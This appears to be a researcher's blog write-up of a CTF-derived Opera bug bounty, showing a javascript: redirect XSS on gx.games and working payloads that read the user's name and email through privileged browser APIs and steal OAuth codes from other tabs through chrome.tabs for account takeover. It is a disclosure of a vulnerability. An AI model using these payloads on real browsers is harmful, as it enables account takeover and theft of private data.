Press enter or click to view image in full size
On September 25, 2023, my team Super Guesser was running the on-site finals of WACON CTF 2023 in South Korea. I authored a browser challenge called “operaaa”: a vulnerable extension inside the latest Opera build. The goal? Leak the full URL of other open tabs. You can still try it here.
It was a hard challenge and only one team solved it which was @jinu, The intended path was:
But after the CTF, I discovered jinu’s solution was completely unintended. He landed on a straight XSS in a special Opera domain with access to chrome.tabs()
. That discovery led us from CTF land into a real bug bounty: a critical UXSS in Opera itself.
The XSS wasn’t any special from a web view beacause it was on a (gx.games) domain and if he reported it he would get about $300 for it, but since it has access to the chrome.tabs() we can leak any URL and probably takeover any account that uses OAuth. Here is the bug report:
While looking at Opera browsers along with @jinu
we found a critical XSS inside GX.games
which allowed us to leak URLs of other origins and get user private info, chaining with another OAuth trick we were able to takeover all accounts on the web which uses OAuth.
We browsed GX.games looking for vulnerabilities we stumbled upon this URL https://gx.games/signup/
then looking at different parameters we found about redirectUrl
not lets put it inside our url:
https://gx.games/signup/?redirectUrl=https://example.com
Press enter or click to view image in full size
Surprisingly the origin redirected to example.com
now lets try another scheme which is javascript
, in browser location='javascript:alert(origin)'
will is same as eval(code)
in so lets try it
https://gx.games/signup/?redirectUrl=javascript:alert(origin)
Press enter or click to view image in full size
Nice we have a full XSS no user interaction needed, Since this domain is owned by Opera it might have higher privileges than a normal page.
Looking at the special opr object to see if it contains any juicy functions It looks like we have access to multiple private browser parts like showing the feedback box, leak the logged user private info, change everything about workspaces, change browser wallpaper.
All of these a normal user/website should not have access to it and these functions are critical, we will focus on opr.operaIdentityPrivate lets see whats available and with this code we can leak the current user logged-in to the browser along with his email:
opr.operaIdentityPrivate.getFullname((x)=>{
opr.operaIdentityPrivate.getUseremail((j)=>{
alert('Your Full name and Email is: '+x+' '+j)
})})
Press enter or click to view image in full size
Looking into other parts and special handlers now we are going to check chrome object which should also have some nice functions.
Press enter or click to view image in full size
Lets just focus on one thing which is chrome.tabs this set of function is very powerful and has access to many cross-origin components such as URL, title. More info
Using chrome.tabs.query we can get all opened tabs in the browser and we have access to their URLs and title this will be a very bad leak to the browser as it will break the same-origin rule.
The real danger came from chaining this bug with Opera’s OAuth flow or any other OAuth application.
Opera Sync login uses:
https://auth.opera.com/account/confirm-identity?...&state=<value>
Normally, OAuth state protects against CSRF. But here’s the trick:
state
.state
mismatched, the victim sees an error.chrome.tabs
, we steal the full redirect URL (including the code).That means full compromise of browsing history, sessions, and — because OAuth is universal — potential takeovers of Google, Facebook, Twitter, or any site using OAuth.
chrome.tabs.create({
url:`https://auth.opera.com/account/confirm-identity?...&state=#Attacker_State`
});
setTimeout(()=>{
chrome.tabs.query({},(tabs)=>{
document.body.innerHTML = `<h1 style=color:red>
pwned! Use this URL to log into victim account:<br>
<textarea cols=50 rows=10>${tabs[tabs.length-1].url}</textarea>
</h1>`
})
},9000)
Video POC: